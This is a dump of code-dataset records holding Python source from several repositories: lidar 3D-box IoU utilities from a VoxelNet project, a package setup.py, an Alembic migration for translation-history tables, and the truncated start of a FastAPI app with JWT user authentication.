rot_quaternion\n      row[0:3] = np.matmul(translation, mat)\n    return label\n\ndef cal_iou2d(box1, box2, T_VELO_2_CAM=None, R_RECT_0=None):\n    # Input: \n    #   box1/2: x, y, w, l, r\n    # Output :\n    #   iou\n    buf1 = np.zeros((cfg.INPUT_HEIGHT, cfg.INPUT_WIDTH, 3))\n    buf2 = np.zeros((cfg.INPUT_HEIGHT, cfg.INPUT_WIDTH, 3))\n    tmp = center_to_corner_box2d(np.array([box1, box2]), coordinate='lidar', T_VELO_2_CAM=T_VELO_2_CAM, R_RECT_0=R_RECT_0)\n    box1_corner = batch_lidar_to_bird_view(tmp[0]).astype(np.int32)\n    box2_corner = batch_lidar_to_bird_view(tmp[1]).astype(np.int32)\n    buf1 = cv2.fillConvexPoly(buf1, box1_corner, color=(1,1,1))[..., 0]\n    buf2 = cv2.fillConvexPoly(buf2, box2_corner, color=(1,1,1))[..., 0]\n    indiv = np.sum(np.absolute(buf1-buf2))\n    share = np.sum((buf1 + buf2) == 2)\n    if indiv == 0:\n        return 0.0 # when target is out of bound\n    return share / (indiv + share)\n\ndef cal_z_intersect(cz1, h1, cz2, h2):\n    b1z1, b1z2 = cz1 - h1 / 2, cz1 + h1 / 2\n    b2z1, b2z2 = cz2 - h2 / 2, cz2 + h2 / 2\n    if b1z1 > b2z2 or b2z1 > b1z2:\n        return 0\n    elif b2z1 <= b1z1 <= b2z2:\n        if b1z2 <= b2z2:\n            return h1 / h2\n        else:\n            return (b2z2 - b1z1) / (b1z2 - b2z1)\n    elif b1z1 < b2z1 < b1z2:\n        if b2z2 <= b1z2:\n            return h2 / h1\n        else:\n            return (b1z2 - b2z1) / (b2z2 - b1z1)\n\n\ndef cal_iou3d(box1, box2, T_VELO_2_CAM=None, R_RECT_0=None):\n    # Input:\n    #   box1/2: x, y, z, h, w, l, r\n    # Output:\n    #   iou\n    buf1 = np.zeros((cfg.INPUT_HEIGHT, cfg.INPUT_WIDTH, 3))\n    buf2 = np.zeros((cfg.INPUT_HEIGHT, cfg.INPUT_WIDTH, 3))\n    tmp = center_to_corner_box2d(np.array([box1[[0,1,4,5,6]], box2[[0,1,4,5,6]]]), coordinate='lidar', T_VELO_2_CAM=T_VELO_2_CAM, R_RECT_0=R_RECT_0)\n    box1_corner = batch_lidar_to_bird_view(tmp[0]).astype(np.int32)\n    box2_corner = batch_lidar_to_bird_view(tmp[1]).astype(np.int32)\n    buf1 = cv2.fillConvexPoly(buf1, box1_corner, color=(1,1,1))[..., 0]\n    buf2 = cv2.fillConvexPoly(buf2, box2_corner, color=(1,1,1))[..., 0]\n    share = np.sum((buf1 + buf2) == 2)\n    area1 = np.sum(buf1)\n    area2 = np.sum(buf2)\n    \n    z1, h1, z2, h2 = box1[2], box1[3], box2[2], box2[3]\n    z_intersect = cal_z_intersect(z1, h1, z2, h2)\n\n    return share * z_intersect / (area1 * h1 + area2 * h2 - share * z_intersect)\n\n\ndef cal_box3d_iou(boxes3d, gt_boxes3d, cal_3d=0, T_VELO_2_CAM=None, R_RECT_0=None):\n    # Inputs:\n    #   boxes3d: (N1, 7) x,y,z,h,w,l,r\n    #   gt_boxed3d: (N2, 7) x,y,z,h,w,l,r\n    # Outputs:\n    #   iou: (N1, N2)\n    N1 = len(boxes3d)\n    N2 = len(gt_boxes3d)\n    output = np.zeros((N1, N2), dtype=np.float32)\n\n    for idx in range(N1):\n        for idy in range(N2):\n            if cal_3d:\n                output[idx, idy] = float(\n                    cal_iou3d(boxes3d[idx], gt_boxes3d[idy]), T_VELO_2_CAM, R_RECT_0)\n            else:\n                output[idx, idy] = float(\n                    cal_iou2d(boxes3d[idx, [0, 1, 4, 5, 6]], gt_boxes3d[idy, [0, 1, 4, 5, 6]], T_VELO_2_CAM, R_RECT_0))\n\n    return output\n\n\ndef cal_box2d_iou(boxes2d, gt_boxes2d, T_VELO_2_CAM=None, R_RECT_0=None):\n    # Inputs:\n    #   boxes2d: (N1, 5) x,y,w,l,r\n    #   gt_boxes2d: (N2, 5) x,y,w,l,r\n    # Outputs:\n    #   iou: (N1, N2)\n    N1 = len(boxes2d)\n    N2 = len(gt_boxes2d)\n    output = np.zeros((N1, N2), dtype=np.float32)\n    for idx in range(N1):\n        for idy in range(N2):\n            output[idx, idy] = cal_iou2d(boxes2d[idx], gt_boxes2d[idy], T_VELO_2_CAM, R_RECT_0)\n\n    return output\n", "repo_name": "kathy-lee/voxelnet-astyx", "sub_path": "utils/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 42498, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "config.cfg.SCENE_SIZE", "line_number": 16, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 16, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "config.cfg.VOXEL_SIZE", "line_number": 17, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "config.cfg.GRID_SIZE", "line_number": 18, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 18, "usage_type": "name"}, {"api_name": "numpy.int64", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "config.cfg.LIDAR_COORD", "line_number": 19, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 19, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 19, "usage_type": "attribute"}, {"api_name": "config.cfg.MAX_POINT_NUMBER", "line_number": 20, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 20, "usage_type": "name"}, {"api_name": "config.cfg.DETECT_OBJECT", "line_number": 22, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.random.shuffle", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.floor", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.logical_and", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 49, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.linalg.inv", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 76, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.finfo", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 102, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 115, "usage_type": "call"}, {"api_name": "math.asin", "line_number": 116, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 117, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 121, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 122, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 123, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 124, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 125, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 128, "usage_type": "call"}, {"api_name": "json.load", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 143, "usage_type": "call"}, {"api_name": "json.load", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 161, "usage_type": "call"}, {"api_name": "config.cfg.X_MIN", "line_number": 170, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 170, "usage_type": "name"}, {"api_name": "config.cfg.VOXEL_X_SIZE", "line_number": 170, "usage_type": "attribute"}, {"api_name": "config.cfg.Y_MIN", "line_number": 171, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 171, "usage_type": "name"}, {"api_name": "config.cfg.VOXEL_Y_SIZE", "line_number": 171, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 172, "usage_type": "call"}, {"api_name": "config.cfg.X_MAX", "line_number": 172, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 172, "usage_type": "name"}, {"api_name": "config.cfg.X_MIN", "line_number": 172, "usage_type": "attribute"}, {"api_name": "config.cfg.VOXEL_X_SIZE", "line_number": 172, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 173, "usage_type": "call"}, {"api_name": "config.cfg.Y_MAX", "line_number": 173, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 173, "usage_type": "name"}, {"api_name": "config.cfg.Y_MIN", "line_number": 173, "usage_type": "attribute"}, {"api_name": "config.cfg.VOXEL_Y_SIZE", "line_number": 173, "usage_type": "attribute"}, {"api_name": "config.cfg.X_MIN", "line_number": 182, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 182, "usage_type": "name"}, {"api_name": "config.cfg.VOXEL_X_SIZE", "line_number": 182, "usage_type": "attribute"}, {"api_name": "config.cfg.Y_MIN", "line_number": 183, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 183, "usage_type": "name"}, {"api_name": "config.cfg.VOXEL_Y_SIZE", "line_number": 183, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 184, "usage_type": "call"}, {"api_name": "config.cfg.X_MAX", "line_number": 184, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 184, "usage_type": "name"}, {"api_name": "config.cfg.X_MIN", "line_number": 184, "usage_type": "attribute"}, {"api_name": "config.cfg.VOXEL_X_SIZE", "line_number": 184, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 185, "usage_type": "call"}, {"api_name": "config.cfg.Y_MAX", "line_number": 185, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 185, "usage_type": "name"}, {"api_name": "config.cfg.Y_MIN", "line_number": 185, "usage_type": "attribute"}, {"api_name": "config.cfg.VOXEL_Y_SIZE", "line_number": 185, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 186, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 192, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 193, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 194, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 195, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 196, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 197, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 203, "usage_type": "call"}, {"api_name": "config.cfg.MATRIX_T_VELO_2_CAM", "line_number": 203, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 203, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 206, "usage_type": "call"}, {"api_name": "config.cfg.MATRIX_R_RECT_0", "line_number": 206, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 206, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 209, "usage_type": "attribute"}, {"api_name": "numpy.matmul", "line_number": 210, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 210, 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"usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 695, "usage_type": "attribute"}, {"api_name": "numpy.stack", "line_number": 698, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 704, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 705, "usage_type": "call"}, {"api_name": "numpy.finfo", "line_number": 706, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 707, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 709, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 710, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 711, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 719, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 720, "usage_type": "call"}, {"api_name": "numpy.linalg.eig", "line_number": 737, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 737, "usage_type": "attribute"}, {"api_name": "math.atan2", "line_number": 747, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 763, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 765, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 771, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 775, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 780, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 802, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 807, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 832, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 833, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 833, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 834, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 834, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 835, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 835, "usage_type": "attribute"}, {"api_name": "numpy.ascontiguousarray", "line_number": 846, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 846, "usage_type": "attribute"}, {"api_name": "numpy.ascontiguousarray", "line_number": 847, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 847, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 855, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 856, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 861, "usage_type": "call"}, {"api_name": "config.cfg.RPN_POS_IOU", "line_number": 861, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 861, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 864, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 864, "usage_type": "call"}, {"api_name": "config.cfg.RPN_NEG_IOU", "line_number": 864, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 864, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 867, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 868, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 871, "usage_type": "call"}, {"api_name": "numpy.unravel_index", "line_number": 876, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 881, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 883, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 885, "usage_type": "call"}, {"api_name": "config.cfg.ANCHOR_H", "line_number": 886, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 886, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 887, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 887, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 889, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 889, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 891, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 891, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 893, "usage_type": "call"}, {"api_name": "numpy.unravel_index", "line_number": 896, "usage_type": "call"}, {"api_name": "numpy.unravel_index", "line_number": 900, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 918, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 919, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 921, "usage_type": "attribute"}, {"api_name": "config.cfg.ANCHOR_H", "line_number": 923, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 923, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 924, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 938, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 938, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 940, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 942, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 945, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 948, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 949, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 950, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 951, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 952, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 955, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 958, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 959, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 960, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 961, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 962, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 965, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 968, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 969, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 970, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 971, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 972, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 997, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 999, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1000, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1001, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1002, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 1005, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1007, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1008, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1009, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1010, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 1013, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1015, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1016, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 1017, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 1018, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 1026, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 1034, "usage_type": "call"}, {"api_name": "config.cfg.INPUT_HEIGHT", "line_number": 1034, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 1034, "usage_type": "name"}, {"api_name": "config.cfg.INPUT_WIDTH", "line_number": 1034, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 1035, "usage_type": "call"}, {"api_name": "config.cfg.INPUT_HEIGHT", "line_number": 1035, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 1035, "usage_type": "name"}, {"api_name": "config.cfg.INPUT_WIDTH", "line_number": 1035, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 1036, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 1037, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 1038, "usage_type": "attribute"}, {"api_name": "cv2.fillConvexPoly", "line_number": 1039, "usage_type": "call"}, {"api_name": "cv2.fillConvexPoly", "line_number": 1040, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1041, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 1041, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1042, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 1069, "usage_type": "call"}, {"api_name": "config.cfg.INPUT_HEIGHT", "line_number": 1069, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 1069, "usage_type": "name"}, {"api_name": "config.cfg.INPUT_WIDTH", "line_number": 1069, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 1070, "usage_type": "call"}, {"api_name": "config.cfg.INPUT_HEIGHT", "line_number": 1070, "usage_type": "attribute"}, {"api_name": "config.cfg", "line_number": 1070, "usage_type": "name"}, {"api_name": "config.cfg.INPUT_WIDTH", "line_number": 1070, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 1071, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 1072, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 1073, "usage_type": "attribute"}, {"api_name": "cv2.fillConvexPoly", "line_number": 1074, "usage_type": "call"}, {"api_name": "cv2.fillConvexPoly", "line_number": 1075, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1076, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1077, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 1078, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 1094, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 1094, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 1116, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 1116, "usage_type": "attribute"}]}
{"seq_id": "6752703421", "text": "# -*- coding: utf-8 -*-\n\nfrom setuptools import setup\nfrom os.path import join, dirname\nfrom setuptools import find_packages\n\n\ndef parse_requirements(filename):\n    \"\"\" load requirements from a pip requirements file \"\"\"\n    lineiter = (line.strip() for line in open(filename, encoding='utf-8'))\n    return [line for line in lineiter if line and not line.startswith(\"#\")]\n\n\nwith open(join(dirname(__file__), './VERSION.txt'), 'rb') as f:\n    version = f.read().decode('ascii').strip()\n\nsetup(\n    name='HtscUtils',  # 模块名称\n    version=version,  # 版本号\n    description='Spider Utiles for Scrapy',  # 描述\n    packages=find_packages(exclude=[]),\n    author='st',\n    author_email='K1131219@test.htsc.com.cn',\n    license='',\n    package_data={'': ['*.*']},\n    url='#',\n    install_requires=parse_requirements(\"requirements.txt\"),  # 所需的运行依赖环境（包）\n    zip_safe=False,\n    classifiers=[\n        'Programming Language :: Python',\n        'Operating System :: Microsoft :: Windows',\n        'Operating System :: Unix',\n        'Programming Language :: Python :: 3.4',\n        'Programming Language :: Python :: 3.5',\n        'Programming Language :: Python :: 3.6',\n        'Programming Language :: Python :: 3.7',\n    ],\n)\n", "repo_name": "YukonZhang/test_sql", "sub_path": "HtscUtils/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1256, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 17, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 21, "usage_type": "call"}]}
{"seq_id": "27835774884", "text": "\"\"\"create tables\n\nRevision ID: 190753d7eabf\nRevises: \nCreate Date: 2023-07-04 16:32:23.448688\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '190753d7eabf'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('current_user_language',\n    sa.Column('user_id', sa.Integer(), nullable=False),\n    sa.Column('current_lang_code', sa.String(length=2), nullable=False),\n    sa.PrimaryKeyConstraint('user_id')\n    )\n    op.create_table('user_history',\n    sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n    sa.Column('user_id', sa.Integer(), nullable=False),\n    sa.Column('source_lang_code', sa.String(length=2), nullable=False),\n    sa.Column('text', sa.String(length=10000), nullable=False),\n    sa.Column('target_lang_code', sa.String(length=2), nullable=False),\n    sa.Column('translated_text', sa.String(length=10000), nullable=False),\n    sa.PrimaryKeyConstraint('id')\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('user_history')\n    op.drop_table('current_user_language')\n    # ### end Alembic commands ###\n", "repo_name": "bitwopi/Translator", "sub_path": "alembic/versions/190753d7eabf_create_tables.py", "file_name": "190753d7eabf_create_tables.py", "file_ext": "py", "file_size_in_byte": 1311, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "alembic.op.create_table", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 24, "usage_type": "call"}, {"api_name": "alembic.op.create_table", "line_number": 26, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 26, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 33, "usage_type": "call"}, {"api_name": "alembic.op.drop_table", "line_number": 40, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 40, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 41, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 41, "usage_type": "name"}]}
{"seq_id": "74805049826", "text": "import logging\nimport neomodel  # type: ignore\nfrom typing import List, Optional\nfrom pydantic import BaseSettings\nfrom fastapi import FastAPI, Depends\nfrom fastapi.responses import RedirectResponse\nfrom fastapi_users import FastAPIUsers\nfrom fastapi_users.authentication import JWTAuthentication\nimport arcade.models.graph as graph\nimport arcade.models.api as models\n\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\n# Setup environment settings\nclass APISettings(BaseSettings):\n    neo4j_url: str\n    jwt_secret: str\n\n\nsettings = APISettings()\n\n# Setup the database connection\nneomodel.config.DATABASE_URL = settings.neo4j_url\n\n# Tell fastpai_users how to interact with user data\nuser_db = graph.FastAPIUserDBAdapter(models.UserDB)\n\napi_desc = ('The Advanced Research Collaboration and Application Development '\n            'Environment (ARCADE) provides a unified and coherent API for '\n            'accessing, analyzing, and extending a diverse set of derived '\n            'data products concerning anthropogenic space objects.')\napp = FastAPI(title='ARCADE', description=api_desc)\n\n\njwt_authentication = JWTAuthentication(\n    secret=settings.jwt_secret,\n    lifetime_seconds=3600,\n    tokenUrl=\"auth/jwt/login\"\n)\n\n# Setup fastapi_users to handle user CRUD, authentication, and authorization\nfastapi_users = FastAPIUsers(\n    user_db,\n    [jwt_authentication],\n    models.User,\n    models.UserCreate,\n    models.UserUpdate,\n    models.UserDB\n)\n\n# Add the router for users to get JWTs\napp.include_router(\n    fastapi_users.get_auth_router(jwt_authentication),\n    prefix=\"/auth/jwt\",\n    tags=[\"Authentication\"]\n)\n\n# Add the router that provides the user registration endpoint\napp.include_router(\n    fastapi_users.get_register_router(),\n    prefix=\"/auth\",\n    tags=[\"Authentication\"],\n    include_in_schema=False\n)\n\n# Helper functions that gets the user based on the JWT passed to the endpoint\ncurrent_active_user = fastapi_users.current_user(active=True)\ncurrent_super_user = fastapi_users.current_user(active=True, superuser=True)\n\n\n@app.get('/',\n         response_class=RedirectResponse,\n         include_in_schema=False)\nasync def 